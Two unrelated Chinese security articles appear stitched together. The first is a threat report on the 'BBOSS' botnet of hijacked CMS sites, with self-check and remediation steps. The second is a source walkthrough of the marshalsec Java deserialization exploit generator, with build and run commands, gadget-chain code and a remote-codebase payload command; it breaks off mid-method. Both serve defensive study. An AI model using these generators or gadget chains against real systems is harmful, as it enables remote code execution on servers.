**每一天我们都在疑惑,疑惑我们所处的世界,疑惑这个世界呈现出的不断超出我们认知的事物。每一天我们又都在惊喜,惊喜的是不断的新的认知,总能让我们短暂地认为,似乎又更理解了这个世界。疑惑与惊喜的交织,似乎是对人类最好的诱惑,驱使着我们一直探索。未知到已知的转换,似乎是我们认知世界唯一的途径。
永远令人着迷的不是未知,而是下一个未知。**
**1\. 报告楔子**
还记得2015年年末基于TelsaCrypt变种(VVV病毒)猖獗的勒索攻击吗?阿里安全威胁情报中心监测到大量来自邮件的此类攻击,同时在调查中发现有客户未收到邮件也受到了勒索软件的攻击。进一步跟踪调查发现客户是访问了被挂马网站导致感染。
基于发现的挂马指纹在全球范围内做指纹探测,发现互联网上具有同样特征的网站总计超过12万,深入地调查了此次事件,我们注意到该事件背后程序架构体系已经非常完善,达工业化水准。基于从代码结构中发现的BASE层和
BOSS层信息,故将其命名为BBOSS组织(事件)。
**2\. 全球影响**
根据截至1月13日全网监测数据显示,BBOSS组织在最近三个月内呈显性活跃,入侵控制网站的规模也不断扩张。这些被控制的站点以欧美地区为主,亚非地区目前相对较少,
但已经呈蔓延趋势。
[](http://image.3001.net/images/20160118/14531257157814.png)
图 1 BBOSS全球威胁态势
受灾最为严重的为美国,比例高达30%,其次为欧洲各国,亚洲国家中韩国排列第一,占到4%,而南美、非洲、澳洲占比最小。
[](http://image.3001.net/images/20160118/14531257289901.png)
图 2 BBOSS威胁全球分布
**2.1. 影响站点和软件**
受感染的网站数量全球范围内超过12万个,其中约78%都使用了开源CMS框架,以Wordpress和Jommla
为主,尤其是Wordpress,占比高达57%。
[](http://image.3001.net/images/20160118/14531258616640.png)
图 3 BBOSS 影响软件比例(N表示无任何CMS软件)
**3\. BBOSS技术体系**
控制超过12万的网站,BBOSS背后的技术体系也极其完善,可以看到该组织为了更高效掌控和易隐藏,使用了多层架构,目前已形成控制超大规模集群肉鸡网站的能力。
[](http://image.3001.net/images/20160118/14531259894761.png)
图 4 BBOSS系统技术体系
BBOSS技术体系中,大致分为4层,分别是JS层,BASE层,KEEPER层和BOSS层。每一层的肉鸡分工明确,配合密切。JS层为直接接触用户的站点,页面中嵌入了js,构造请求转发流量到BASE层。BASE层会向BOSS层请求指令,完成校验后BOSS层根据当前需要进行的攻击返回攻击指令,再由BASE层下发给用户。同时,KEEPER层会定期对JS层和BASE层站点进行探测存活、增删修改、漏洞利用等操作。
[](http://image.3001.net/images/20160118/14531259975704.png)
图 5 BBOSS分层关系
**3.1. JS层分析**
JS层受感染的网站数量全球范围内有10万个左右,这一层站点约85%都使用了开源CMS框架,其中以Wordpress占比63%,Jommla占比10%。
[](http://image.3001.net/images/20160118/145312603020.png)
图 6 JS层站点CMS比例(N表示无任何CMS软件)
在近日,我们也关注到PaloAlto Netwokrs公布的报告「Angler Exploit Kit Continues to Evade
Detection: Over 90,000 Websites
Compromised」,对其公布的数据进行比对,发现仅11863个域名匹配,这些网站具备弱密码或通用型漏洞,易被入侵,这和本次事件中在这些网站上发现多种不同类型的webshell的证据吻合。
[](http://image.3001.net/images/20160118/14531260467069.png)
图 7 JS层webshell之一
JS层站点受感染的特征表现为,其框架head.php内均被嵌入了恶意js,导致访问网站所有页面时都会带有该script。基于wordpress的网站主要是通过webshell在其主题的/wp-content/themes/twentyfourteen/header.php中插入,而基于Jommla的主要通过在/libraries/joomla/document/html/renderer/head.php中来插入。
[](http://image.3001.net/images/20160118/14531260595647.png)
图 8 修改header.php
恶意js代码如下,提取了当前页title、referer、host信息,构造请求后发往BASE层域下的jquery.min.php文件。
[](http://image.3001.net/images/20160118/14531260701941.png)
图 9 JS层恶意代码
KEEPER层会不定期更新JS层站点的header.php
中的植入js,同测试发现其带有一定对抗能力。当模拟一个JS层站点对BASE层站点进行请求测试时,如果被检测出是模拟测试,该JS层站点下所植入的恶意js会被暂时性清除几天。
**3.2. BASE层分析**
与JS层相同,BASE层依然是大量被入侵控制的站点,BASE层受感染数量与JS层受感染数量大致为1:5的关系。与JS层不同的是,这一层的站点不再是以CMS为主,85%站点均未使用任何CMS,并且处于中国地区的站点极少,这类站点以IIS,Apache偏多,也存在少量Nginx站点。
[](http://image.3001.net/images/20160118/14531260905314.png)
图 10 BASE层站点CMS比例
可以看到以往的攻击在这一层就直接开始植入恶意载荷了,但BBOSS不是,BASE这一层仍然只是中间跳板。BASE层站点表现的特征为,被入侵后会在网站目录下放置js/jquery.min.php和js/jquery-1.9.1.min.php两个文件。这两个文件使用障眼法,让用户误以为是jquery相关的jquery.min.js及jquery-1.9.1.min.js。
[](http://image.3001.net/images/20160118/14531260984729.png)
图 11 BASE层恶意样本
按图索骥,拿到了jquery.min.php样本,揭开了其神秘的面纱。代码中使用了加密和混淆,解密后看到其封装了BossAPI类,该类实现了向后端BOSS层的C&C的通信,并解析响应结果的功能。
[](http://image.3001.net/images/20160118/14531261143011.png)
图 12 BossAPI类
主程序部分包含3个流程,若GET请求参数为空,构造同域名下随机页面,访问并404返回。
[](http://image.3001.net/images/20160118/14531261265829.png)
图 13 GET为空
c_utm流程用于接收来自JS层构造的请求,并随机转发给BOSS层的4台C&C,C&C会根据请求中的参数,下发恶意指令。
[](http://image.3001.net/images/20160118/14531261363357.png)
图 14 c_utm流程
pi流程主要用于接收来自KEEPER层的流量,并转发给BOSS层C&C来校验,用于判定BASE层是否存活以及是否是伪造。
[](http://image.3001.net/images/20160118/14531261497700.png)
图 15 pi流程
同时,发现BASE层同BOSS层的通信同样也存在一定的反侦查策略。另外代码中还自带了xor加密解密类,但目前尚未在主程序中使用。
**3.3. BOSS层分析**
与前面两层不同,BOSS层受感染的机器数量要小得多。截止目前,通过分析多个从BASE层采集到的jquery.min.php及jquery.1.9.1.min.php样本,获得了4个活跃的BOSS层C&C
IP,以及一个闲置的IP。这5个IP的近期流量趋势如下:
[](http://image.3001.net/images/20160118/14531261879084.png)
图 16 BOSS层流量趋势
有意思的是,这5个ip分属不同的5个国家,分别是美国、俄罗斯、立陶宛、法国和印度尼西亚,这些独立IP同样也都是入侵而来。根据我们的数据显示,2015年11月其身影出现在了VVV勒索攻击中,以及一些恶意推广。
[](http://image.3001.net/images/20160118/145312619545.png)
图 17 BOSS层下发的恶意js
只有当需要攻击的时候BOSS层才会下发攻击指令,而平时只会下发重定向请求重定向到Google首页。
[](http://image.3001.net/images/20160118/14531262055108.png)
图 18 BOSS层下发的正常跳转
**3.4. KEEPER层分析**
除了上述几层,在BBOSS技术架构中,还有一层KEEPER层。截止目已发现多个KEEPER层IP,同样分布在不同国家。这一层肉鸡主要用于对JS层的webshell进行探活、增删修改JS层恶意js内容;对BASE层webshell、
juqery.min.php和jquery-1.9.1.min.php进行探活。同时,还会伴随有对JS层网站后台的暴力破解、弱口令猜解、插件漏洞利用、后台上传带后门插件等一系列入侵行为。对KEEPER层最为活跃的来自阿联酋的IP
85.**.**.78进行分析,其流量趋势如下:
[](http://image.3001.net/images/20160118/14531262168879.png)
图 19 某Zombie Keeper流量趋势
可以发现,该Zombie
Keeper并不是每天都在工作,会阶段性的休息且每次休息间隔时间不同,由此推测Keeper是由攻击者主动启动而非定时自动启动。在1226-1229期间,甚至停止活动了4天。同时,对JS层的请求趋势与对BASE层的请求趋势基本相同。
[](http://image.3001.net/images/20160118/14531262231194.png)
图 20 某Zombie Keeper活跃时间矩阵分析
根据近一个月内该Zombie
Keeper每天的活跃时间,绘制如上的时间矩阵图,横轴为日期,纵轴为小时。将不同天的数据重叠到一天,每个小时在不同天出现的次数越多,颜色越深,从而推断出攻击者每天最活跃时间为20点左右持续到次日早8点左右。显然攻击者不是处于UTC/GMT+8时区,经过不断变化时区来拟合数据,最终发现当采用UTC/GMT-5时区时,不仅最活跃时间符合作息规律,且其他所有数据也都惊人的吻合。
[](http://image.3001.net/images/20160118/14531262402442.png)
图 21 UTC/GMT-5时区
这也印证了前文提到的该Zombie
Keeper在1226-1229的停止活动行为,事实上或许是攻击者在UTC/GMT-5时区下1225-1228期间去圣诞度假了。
**4\. 自查方法**
**1\. 查看前台页面是否被插入如下类型或其它异常的JS代码;**
[](http://image.3001.net/images/20160118/14531262536380.png)
2\. 查看后台源码是否被修改,特别是上述框架文件;
3\. 查看后台是否新增异常的源码文件,是否新增js目录及jquery.min.php等;
4\. 查看站点访问记录是否存在暴力破解等异常访问。
**5\. 修复建议**
1\. 审核是否有可疑的新增用户,修改站点密码;
2\. 清除新增或修改的可疑代码;
3\. 清理不再使用的插件,升级CMS及第三方插件到最新版本;
4\. 增加如防暴力破解,WAF等安全防护措施;
**6\. 总结**
综合上述分析和数据,发现BBOSS组织有如下特点:
1.控制超过12万网站,影响范围辐射全球;
2.技术架构体系高度成熟,多级分层,更易控制和隐藏,有很强的攻防对抗意识;
3.业务灵活,高可配置,不定期更新;
4.危害范围极大,影响数以千万互联网用户。 | 社区文章 |
### 0x00 前言
#### 1\. 描述
官方github描述：
Java Unmarshaller Security - Turning your data into code execution
“将数据转换为代码执行”，我对其理解就是，在java反序列化时，利用序列化数据造成代码执行攻击。
* * *
It's been more than two years since Chris Frohoff and Garbriel Lawrence have
presented their research into Java object deserialization vulnerabilities
ultimately resulting in what can be readily described as the biggest wave of
remote code execution bugs in Java history.
译：
_Chris Frohoff和Garbriel
Lawrence对Java对象反序列化漏洞的研究已经有两年多了，他们的研究最终导致了Java历史上最大的远程代码执行错误浪潮。_
Research into that matter indicated that these vulnerabilities are not
exclusive to mechanisms as expressive as Java serialization or XStream, but
some could possibly be applied to other mechanisms as well.
译：
_对这个问题的研究表明，这些漏洞并不局限于像Java序列化或XStream这样具有表现力的机制，但是一些漏洞也可能适用于其他机制。_
This paper presents an analysis, including exploitation details, of various
Java open-source marshalling libraries that allow(ed) for unmarshalling of
arbitrary, attacker supplied, types and shows that no matter how this process
is performed and what implicit constraints are in place it is prone to similar
exploitation techniques.
译：
_本文对各种Java开放源码编组库进行了分析(包括利用细节)，这些编组库允许对任意攻击者提供的类型进行编组，并说明了无论如何执行这个过程以及存在哪些隐含的约束，都很容易出现类似的利用技术。_
* * *
总而言之，marshalsec就是生成一定编码的数据，在jvm对其进行解码时，执行预置的代码。
#### 2\. 使用方法
marshalsec使用：
要求使用java8进行编译，在github把[marshalsec](https://github.com/threedr3am/marshalsec)项目clone下来后，执行maven指令`mvn
clean package -DskipTests`进行编译，生成可执行jar包使用
java -cp target/marshalsec-0.0.1-SNAPSHOT-all.jar marshalsec.<Marshaller> [-a] [-v] [-t] [<gadget_type> [<arguments...>]]
* -a：生成exploit下的所有payload（例如：hessian下的SpringPartiallyComparableAdvisorHolder, SpringAbstractBeanFactoryPointcutAdvisor, Rome, XBean, Resin）
* -t：对生成的payloads进行解码测试
* -v：verbose mode, 展示生成的payloads
* gadget_type：指定使用的payload
* arguments - payload运行时使用的参数
#### 3\. 目前支持的exploit和payload
Marshaller | Gadget Impact
---|---
BlazeDSAMF(0|3|X) | JDK only escalation to Java serialization
various third party libraries RCEs
Hessian|Burlap | various third party RCEs
Castor | dependency library RCE
Jackson | **possible JDK only RCE** , various third party RCEs
Java | yet another third party RCE
JsonIO | **JDK only RCE**
JYAML | **JDK only RCE**
Kryo | third party RCEs
KryoAltStrategy | **JDK only RCE**
Red5AMF(0|3) | **JDK only RCE**
SnakeYAML | **JDK only RCEs**
XStream | **JDK only RCEs**
YAMLBeans | third party RCE
... | ...
本章讲述了marshalsec的一些情况以及怎么编译和使用，那么，后面的章节，我将会以我一贯对源码的浅析习惯进行讲解marshalsec的一些原理。
* * *
### 0x01 marshalsec源码浅析
在将源码前，我们先了解一下marshalsec的目录结构：
├── BlazeDSAMF0.java
├── BlazeDSAMF3.java
├── BlazeDSAMF3AM.java
├── BlazeDSAMFX.java
├── BlazeDSBase.java
├── BlazeDSExternalizableBase.java
├── Burlap.java
├── Castor.java
├── DubboHessian.java
├── EscapeType.java
├── Hessian.java
├── Hessian2.java
├── HessianBase.java
├── HessianBase2.java
├── JYAML.java
├── Jackson.java
├── Java.java
├── JsonIO.java
├── Kryo.java
├── KryoAltStrategy.java
├── MarshallerBase.java
├── Red5AMF0.java
├── Red5AMF3.java
├── Red5AMFBase.java
├── SideEffectSecurityManager.java
├── SnakeYAML.java
├── TestingSecurityManager.java
├── UtilFactory.java
├── XStream.java
├── YAMLBase.java
├── YAMLBeans.java
├── gadgets
│ ├── Args.java
│ ├── BindingEnumeration.java
│ ├── C3P0RefDataSource.java
│ ├── C3P0WrapperConnPool.java
│ ├── ClassFiles.java
│ ├── CommonsBeanutils.java
│ ├── CommonsConfiguration.java
│ ├── Gadget.java
│ ├── GadgetType.java
│ ├── Groovy.java
│ ├── ImageIO.java
│ ├── JDKUtil.java
│ ├── JdbcRowSet.java
│ ├── LazySearchEnumeration.java
│ ├── MockProxies.java
│ ├── Primary.java
│ ├── Resin.java
│ ├── ResourceGadget.java
│ ├── Rome.java
│ ├── ScriptEngine.java
│ ├── ServiceLoader.java
│ ├── SpringAbstractBeanFactoryPointcutAdvisor.java
│ ├── SpringPartiallyComparableAdvisorHolder.java
│ ├── SpringPropertyPathFactory.java
│ ├── SpringUtil.java
│ ├── Templates.java
│ ├── TemplatesUtil.java
│ ├── ToStringUtil.java
│ ├── UnicastRefGadget.java
│ ├── UnicastRemoteObjectGadget.java
│ ├── XBean.java
│ └── XBean2.java
├── jndi
│ ├── LDAPRefServer.java
│ └── RMIRefServer.java
└── util
└── Reflections.java
目录展示稍微有点长，其中，package根目录下的类文件，都是对gadgets目录下payload进行利用的类文件，如果不太严谨的话，我们可以称之为exploits。可以看到目录下相对于官方原有的多了一些java文件，其中DubboHessian.java、Hessian2.java、HessianBase2.java还有gadgets下的XBean2.java就是我对其进行改造支持attack
dubbo-hessian2的一些产物。
我们看看第一章节所说的执行指令：
java -cp target/marshalsec-0.0.1-SNAPSHOT-all.jar marshalsec.<Marshaller> [-a] [-v] [-t] [<gadget_type> [<arguments...>]]
其中[-a] [-v] [-t] [<gadget_type>
[<arguments...>]]在第一章中也对其进行详细的描述了，我们再来看看marshalsec.<marshaller>，这个参数是什么意思呢？</marshaller></gadget_type>
这个就是我们上面所说的exploits的指定，也就是我们上面展示的目录，根目录下的java文件名，假如我们想要生成hessian的Xbean的payload，我们就只要执行：
java -cp target/marshalsec-0.0.1-SNAPSHOT-all.jar marshalsec.Hessian -v XBean http://127.0.0.1:8080/ ExecObject
执行之后，就能生成一个攻击Hessian的XBean gadget，后面的`http://127.0.0.1:8080/
ExecObject`表示的是恶意class所在web资源服务器地址以及其类名。
那么，这个payload的生成牵涉到的源码到底是如何执行的呢？别急，让我慢慢一一给你讲解。
我们跟进Hessian.java这个类文件：
public class Hessian extends HessianBase {
/**
* {@inheritDoc}
*
* @see marshalsec.AbstractHessianBase#createOutput(java.io.ByteArrayOutputStream)
*/
@Override
protected AbstractHessianOutput createOutput ( ByteArrayOutputStream bos ) {
return new HessianOutput(bos);
}
/**
* {@inheritDoc}
*
* @see marshalsec.AbstractHessianBase#createInput(java.io.ByteArrayInputStream)
*/
@Override
protected AbstractHessianInput createInput ( ByteArrayInputStream bos ) {
return new HessianInput(bos);
}
public static void main ( String[] args ) {
new Hessian().run(args);
}
}
可以看到，其中代码并不多，Hessian这个类继承了HessianBase并重写了createOutput和createInput方法，看方法内容可以发现，分别是生成了Hessian的输出和输入流对象，那么，这两个流对象究竟何用？继续跟进其父类HessianBase看看：
public abstract class HessianBase extends MarshallerBase<byte[]>
implements SpringPartiallyComparableAdvisorHolder, SpringAbstractBeanFactoryPointcutAdvisor, Rome, XBean, Resin {
/**
* {@inheritDoc}
*
* @see marshalsec.MarshallerBase#marshal(java.lang.Object)
*/
@Override
public byte[] marshal ( Object o ) throws Exception {
ByteArrayOutputStream bos = new ByteArrayOutputStream();
AbstractHessianOutput out = createOutput(bos);
NoWriteReplaceSerializerFactory sf = new NoWriteReplaceSerializerFactory();
sf.setAllowNonSerializable(true);
out.setSerializerFactory(sf);
out.writeObject(o);
out.close();
return bos.toByteArray();
}
/**
* {@inheritDoc}
*
* @see marshalsec.MarshallerBase#unmarshal(java.lang.Object)
*/
@Override
public Object unmarshal ( byte[] data ) throws Exception {
System.out.println(Base64.getEncoder().encodeToString(data));
ByteArrayInputStream bis = new ByteArrayInputStream(data);
AbstractHessianInput in = createInput(bis);
return in.readObject();
}
/**
* @param bos
* @return
*/
protected abstract AbstractHessianOutput createOutput ( ByteArrayOutputStream bos );
protected abstract AbstractHessianInput createInput ( ByteArrayInputStream bos );
public static class NoWriteReplaceSerializerFactory extends SerializerFactory {
/**
* {@inheritDoc}
*
* @see com.caucho.hessian.io.SerializerFactory#getObjectSerializer(java.lang.Class)
*/
@Override
public Serializer getObjectSerializer ( Class<?> cl ) throws HessianProtocolException {
return super.getObjectSerializer(cl);
}
/**
* {@inheritDoc}
*
* @see com.caucho.hessian.io.SerializerFactory#getSerializer(java.lang.Class)
*/
@Override
public Serializer getSerializer ( Class cl ) throws HessianProtocolException {
Serializer serializer = super.getSerializer(cl);
if ( serializer instanceof WriteReplaceSerializer ) {
return UnsafeSerializer.create(cl);
}
return serializer;
}
}
}
看到这里，就能理解在它的子类Hessian中重写的createOutput和createInput的意义了，原来它们都是HessianObject的抽象方法，其子类Hessian只是对其进行了实现，然后在marshal和unmarshal方法中分别调用生成流对象用于输出序列化数据和反序列化数据
NoWriteReplaceSerializerFactory sf = new NoWriteReplaceSerializerFactory();
sf.setAllowNonSerializable(true);
out.setSerializerFactory(sf);
而这部分代码，对输出流进行了设置，因为我们知道，一般对于对象的序列化，如果对象对应的class没有对java.io.Serializable进行实现implement的话，是没办法序列化的，所以这里对输出流进行了设置，使其可以输出没有实现java.io.Serializable接口的对象
接着，看回marshalsec.Hessian#main
public static void main ( String[] args ) {
new Hessian().run(args);
}
我们可以发现，执行了Hessian的run方法，我们对其进行跟入，可以看到是MarshallerBase这个抽象类的一个实现方法，MarshallerBase是所有exploits的父类，为所有exploits提供了run方法用于执行。
protected void run ( String[] args ) {
try {
boolean test = false;
boolean all = false;
boolean verbose = false;
EscapeType escape = EscapeType.NONE;
int argoff = 0;
GadgetType type = null;
//对-前缀的参数进行解析读取
while ( argoff < args.length && args[ argoff ].charAt(0) == '-' ) {
if ( args[ argoff ].equals("-t") ) {
test = true;
argoff++;
}
else if ( args[ argoff ].equals("-a") ) {
all = true;
argoff++;
}
else if ( args[ argoff ].equals("-e") ) {
argoff++;
escape = EscapeType.valueOf(args[ argoff ]);
argoff++;
}
else if ( args[ argoff ].equals("-v") ) {
verbose = true;
argoff++;
}
else {
argoff++;
}
}
//...
}
catch ( Exception e ) {
e.printStackTrace(System.err);
}
}
这部分代码是对程序参数进行解析读取
protected void run ( String[] args ) {
try {
//...
try {
if ( !all && args.length > argoff ) {
type = GadgetType.valueOf(args[ argoff ].trim());
argoff++;
}
}
catch ( IllegalArgumentException e ) {
System.err.println("Unsupported gadget type " + args[ argoff ]);
System.exit(-1);
}
//...
}
catch ( Exception e ) {
e.printStackTrace(System.err);
}
}
这部分代码是对payload段参数进行读取解析，若不存在则直接抛出异常，而payload段参数其实就是指令中的XBean
java -cp target/marshalsec-0.0.1-SNAPSHOT-all.jar marshalsec.Hessian -v XBean http://127.0.0.1:8080/ ExecObject
protected void run ( String[] args ) {
try {
//...
//指定了-a参数，则执行生成exploits下的所有payloads
if ( all ) {
runAll(test, verbose, false, escape);
}
else {
//没有指定-a参数，则只执行生成指定的payload，并把payload使用的参数复制出来传入使用
String[] gadgetArgs = new String[args.length - argoff];
System.arraycopy(args, argoff, gadgetArgs, 0, args.length - argoff);
doRun(type, test, verbose, false, escape, gadgetArgs);
}
}
catch ( Exception e ) {
e.printStackTrace(System.err);
}
}
这段代码是真正的执行处，前面都是对参数的解析，以及payload生成类的读取
我们跟进runAll：
private void runAll ( boolean test, boolean verbose, boolean throwEx, EscapeType escape ) throws Exception {
for ( GadgetType t : this.getSupportedTypes() ) {
Method tm = getTargetMethod(t);
Args a = tm.getAnnotation(Args.class);
if ( a == null ) {
throw new Exception("Missing Args in " + t);
}
if ( a.noTest() ) {
continue;
}
String[] defaultArgs = a.defaultArgs();
doRun(t, test, verbose, throwEx, escape, defaultArgs);
}
}
可以看到，其实最终还是执行doRun，只不过runAll是遍历当前类所支持的所有gadget，一个一个的去doRun
看getSupportedTypes方法源码：
public GadgetType[] getSupportedTypes () {
List<GadgetType> types = new LinkedList<>();
for ( GadgetType t : GadgetType.values() ) {
if ( t.getClazz().isAssignableFrom(this.getClass()) ) {
types.add(t);
}
}
return types.toArray(new GadgetType[types.size()]);
}
清楚的看到，其实该类支持的gadget都是从GadgetType中取出来的，分析一下GadgetType：
public enum GadgetType {
UnicastRef(UnicastRefGadget.class),
UnicastRemoteObject(UnicastRemoteObjectGadget.class),
Groovy(Groovy.class),
SpringPropertyPathFactory(SpringPropertyPathFactory.class),
SpringPartiallyComparableAdvisorHolder(SpringPartiallyComparableAdvisorHolder.class),
SpringAbstractBeanFactoryPointcutAdvisor(SpringAbstractBeanFactoryPointcutAdvisor.class),
Rome(Rome.class),
XBean(XBean.class),
XBean2(XBean2.class),
Resin(Resin.class),
CommonsConfiguration(CommonsConfiguration.class),
LazySearchEnumeration(LazySearchEnumeration.class),
BindingEnumeration(BindingEnumeration.class),
ServiceLoader(ServiceLoader.class),
ImageIO(ImageIO.class),
CommonsBeanutils(CommonsBeanutils.class),
C3P0WrapperConnPool(C3P0WrapperConnPool.class),
C3P0RefDataSource(C3P0RefDataSource.class),
JdbcRowSet(JdbcRowSet.class),
ScriptEngine(ScriptEngine.class),
Templates(Templates.class),
ResourceGadget(ResourceGadget.class),
//
;
private Class<? extends Gadget> clazz;
private GadgetType ( Class<? extends Gadget> clazz ) {
this.clazz = clazz;
}
/**
* @return the clazz
*/
public Class<? extends Gadget> getClazz () {
return this.clazz;
}
}
看出来了，就是个枚举类，那么前面遍历添加的时候执行的`t.getClazz().isAssignableFrom(this.getClass())`到底是根据什么去判断的呢，其实我们看回去上面，可以发现一个继承关系Hessian->HessianBase->MarshallerBase，而MarshallerBase是所有exploits的基类，而细心一点的读者，其实就已经发现了，其实在HessianBase这个类定义的地方可以看到，它实现了一些老接口，这部分接口其实就是它所支持的gadget，因此这里的判断就会成立，从而添加进来，以继续后续的doRun
public abstract class HessianBase extends MarshallerBase<byte[]>
implements
SpringPartiallyComparableAdvisorHolder,SpringAbstractBeanFactoryPointcutAdvisor, Rome, XBean, Resin
可以看到Hessian支持SpringPartiallyComparableAdvisorHolder,SpringAbstractBeanFactoryPointcutAdvisor,
Rome, XBean, Resin这几个gadget
跟进doRun：
private void doRun ( GadgetType type, boolean test, boolean verbose, boolean throwEx, EscapeType escape, String[] gadgetArgs )
throws Exception, IOException {
T marshal;
try {
System.setSecurityManager(new SideEffectSecurityManager());
Object o = createObject(type, expandArguments(gadgetArgs));
if ( o instanceof byte[] || o instanceof String ) {
// already marshalled by delegate
@SuppressWarnings ( "unchecked" )
T alreadyMarshalled = (T) o;
marshal = alreadyMarshalled;
}
else {
marshal = marshal(o);
}
}
finally {
System.setSecurityManager(null);
}
if ( !test || verbose ) {
System.err.println();
writeOutput(marshal, escape);
}
if ( test ) {
System.err.println();
System.err.println("Running gadget " + type + ":");
test(marshal, throwEx);
}
}
可以看到在这个方法中，依次做了以下事情：
1. 设置安全管理器
System.setSecurityManager(new SideEffectSecurityManager());
为什么这样做呢？其实是用来对权限的检查，在做特点权限事情的时候，进行抛异常，我的理解应该是以防payload生成的时候被触发了，然后本地执行了指令等等，会让我们误解是攻击成功等等...
1. 创建payload对象
Object o = createObject(type, expandArguments(gadgetArgs));
protected Object createObject ( GadgetType t, String[] args ) throws Exception {
Method m = getTargetMethod(t);
if ( !t.getClazz().isAssignableFrom(this.getClass()) ) {
throw new Exception("Gadget not supported for this marshaller");
}
Args a = m.getAnnotation(Args.class);
if ( a != null ) {
if ( args.length < a.minArgs() ) {
throw new Exception(
String.format("Gadget %s requires %d arguments: %s", t, a.minArgs(), a.args() != null ? Arrays.toString(a.args()) : ""));
}
}
return m.invoke(this, new Object[] {
this, args
});
}
可以看到获取gadget对应的生成方法，然后读取其注解中预置的缺省参数，如果我们程序参数没对其进行输入的话，就使用这个注解预置的参数。
public Method getTargetMethod ( GadgetType t ) throws Exception {
Method[] methods = t.getClazz().getMethods();
Method m = null;
if ( methods.length != 1 ) {
for ( Method cand : methods ) {
if ( cand.getAnnotation(Primary.class) != null ) {
m = cand;
break;
}
}
if ( m == null ) {
throw new Exception("Gadget interface contains no or multiple methods");
}
}
else {
m = methods[ 0 ];
}
return this.getClass().getMethod(m.getName(), m.getParameterTypes());
}
而getTargetMethod就是对类方法进行遍历，找到其中注解了Primary的方法为止，若不存在则取第一个方法，最终找到生成payload的gadget方法
1. 对payload对象进行序列化
marshal = marshal(o);
这个就是我们前面所描述的HessianBase重写的方法了
1. 输出payload
若在程序执行参数指定了-v，那么就会执行相关逻辑代码，对其序列化数据进行控制台输出
if ( !test || verbose ) {
System.err.println();
writeOutput(marshal, escape);
}
1. 反序列化测试
若在程序执行参数指定了-t，那么就会执行相关逻辑代码，对序列化数据进行反序列化，判断其是否触发RCE
if ( test ) {
System.err.println();
System.err.println("Running gadget " + type + ":");
test(marshal, throwEx);
}
protected void test ( T marshal, boolean throwEx ) throws Exception {
Throwable ex = null;
TestingSecurityManager s = new TestingSecurityManager();
try {
System.setSecurityManager(s);
unmarshal(marshal);
}
catch ( Exception e ) {
ex = extractInnermost(e);
}
finally {
System.setSecurityManager(null);
}
try {
s.assertRCE();
}
catch ( Exception e ) {
System.err.println("Failed to achieve RCE:" + e.getMessage());
if ( ex != null ) {
ex.printStackTrace(System.err);
}
if ( throwEx ) {
if ( ex instanceof Exception ) {
throw (Exception) ex;
}
throw e;
}
}
}
可以看到，通过TestingSecurityManager对其反序列化进行检测，然后最后在`s.assertRCE();`处进行断言检测是否触发了RCE
到这里，对marshalsec的骨架代码浅析已经完成，下一章节将讲解hessian的poc原理。
* * *
### 0x02 hessian payload原理浅析
在这一章节，将以Hessian的XBean这个gadget生成的payload在反序列化时触发的原理进行讲解。
在上一章，我们对marshalsec的骨架代码进行了一定的分析，其中在marshalsec.MarshallerBase#doRun方法执行时，调用了marshalsec.MarshallerBase#createObject执行了XBean这个gadget的payload的生成。
其中marshalsec.MarshallerBase#createObject调用了marshalsec.MarshallerBase#getTargetMethod，而marshalsec.MarshallerBase#getTargetMethod遍历了XBean这个接口类的默认方法，因为其中没有被Primary注解的默认方法，因此选择了第一个方法：
public interface XBean extends Gadget {
@Args ( minArgs = 2, args = {
"codebase", "classname"
}, defaultArgs = {
MarshallerBase.defaultCodebase, MarshallerBase.defaultCodebaseClass
} )
default Object makeXBean ( UtilFactory uf, String[] args ) throws Exception {
Context ctx = Reflections.createWithoutConstructor(WritableContext.class);
Reference ref = new Reference("foo", args[ 1 ], args[ 0 ]);
ReadOnlyBinding binding = new ReadOnlyBinding("foo", ref, ctx);
return uf.makeToStringTriggerUnstable(binding); // $NON-NLS-1$
}
}
marshalsec.MarshallerBase：
@Override
public Object makeToStringTriggerUnstable ( Object obj ) throws Exception {
return ToStringUtil.makeSpringAOPToStringTrigger(obj);
}
ToStringUtil：
public static Object makeSpringAOPToStringTrigger ( Object o ) throws Exception {
return makeToStringTrigger(o, x -> {
return new HotSwappableTargetSource(x);
});
}
public static Object makeToStringTrigger ( Object o, Function<Object, Object> wrap ) throws Exception {
String unhash = unhash(o.hashCode());
XString xString = new XString(unhash);
return JDKUtil.makeMap(wrap.apply(o), wrap.apply(xString));
}
JDKUtil：
public static HashMap<Object, Object> makeMap ( Object v1, Object v2 ) throws Exception {
HashMap<Object, Object> s = new HashMap<>();
Reflections.setFieldValue(s, "size", 2);
Class<?> nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
}
catch ( ClassNotFoundException e ) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
Reflections.setFieldValue(s, "table", tbl);
return s;
}
以上就是XBean这个gadget所涉及的一些类，最终我们可以看到，其利用的是HashMap在反序列化时put数据从而触发gadget的执行
几个重点：
* 在JDKUtil.makeMap中对HashMap进行反射设置数据进去，是为了避免执行put方法触发gadget
* 在JDKUtil.makeMap中可以看到table这个字段设置的数组，存有两个元素，不过两个元素的hashCode是一样的，v1是HotSwappableTargetSource包装过的payload，v2是HotSwappableTargetSource包装的XString对象，而XString对象包装的也是payload
* hessian反序列化HashMap时，因为会两次put同样hashCode的元素，从而触发key这个元素的equal方法
执行栈流程：
getObjectInstance:319, NamingManager (javax.naming.spi)
resolve:73, ContextUtil (org.apache.xbean.naming.context)
getObject:204, ContextUtil$ReadOnlyBinding (org.apache.xbean.naming.context)
toString:192, Binding (javax.naming)
equals:392, XString (com.sun.org.apache.xpath.internal.objects)
equals:104, HotSwappableTargetSource (org.springframework.aop.target)
putVal:634, HashMap (java.util)
put:611, HashMap (java.util)
readMap:114, MapDeserializer (com.caucho.hessian.io)
readMap:538, SerializerFactory (com.caucho.hessian.io)
readObject:1160, HessianInput (com.caucho.hessian.io)
public class HotSwappableTargetSource implements TargetSource, Serializable {
//...
public boolean equals(Object other) {
return this == other || other instanceof HotSwappableTargetSource && this.target.equals(((HotSwappableTargetSource)other).target);
}
//...
}
public class XString extends XObject implements XMLString
{
//...
public boolean equals(Object obj2)
{
if (null == obj2)
return false;
// In order to handle the 'all' semantics of
// nodeset comparisons, we always call the
// nodeset function.
else if (obj2 instanceof XNodeSet)
return obj2.equals(this);
